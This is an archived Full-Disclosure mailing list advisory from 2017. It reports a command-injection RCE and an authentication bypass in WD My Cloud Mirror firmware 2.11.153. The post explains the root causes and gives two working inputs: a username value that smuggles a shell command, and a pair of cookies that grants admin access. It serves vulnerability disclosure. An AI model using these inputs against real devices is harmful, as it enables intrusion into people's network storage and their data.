lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <CACoXDXiUpTbX6apYWL-5XKgsSQpbQswt3Ysw1E2DcRxg_YW16g@mail.gmail.com> Date: Tue, 24 Jan 2017 10:17:00 +0100 From: Kacper Szurek <kacperszurek@...il.com> To: fulldisclosure@...lists.org Subject: [FD] WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass # Exploit Title: WD My Cloud Mirror 2.11.153 RCE and Authentication Bypass # Date: 24.01.2017 # Software Link: https://www.wdc.com # Exploit Author: Kacper Szurek # Contact: https://twitter.com/KacperSzurek # Website: https://security.szurek.pl/ # Category: local 1. Description It’s possible to execute arbitrary commands using login form because `exec()` function is used without `escapeshellarg()`. It's possible to bypass login form because function only check if `$_COOKIE['username']` and `$_COOKIE['isAdmin']` exist. https://security.szurek.pl/wd-my-cloud-mirror-211153-rce-and-authentication-bypass.html 2. Proof of Concept For RCE simply use as username: a" || your_command_to_execute || " For authentication bypass set COOKIES: username=1; isAdmin=1 and then visit for example php/users.php _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/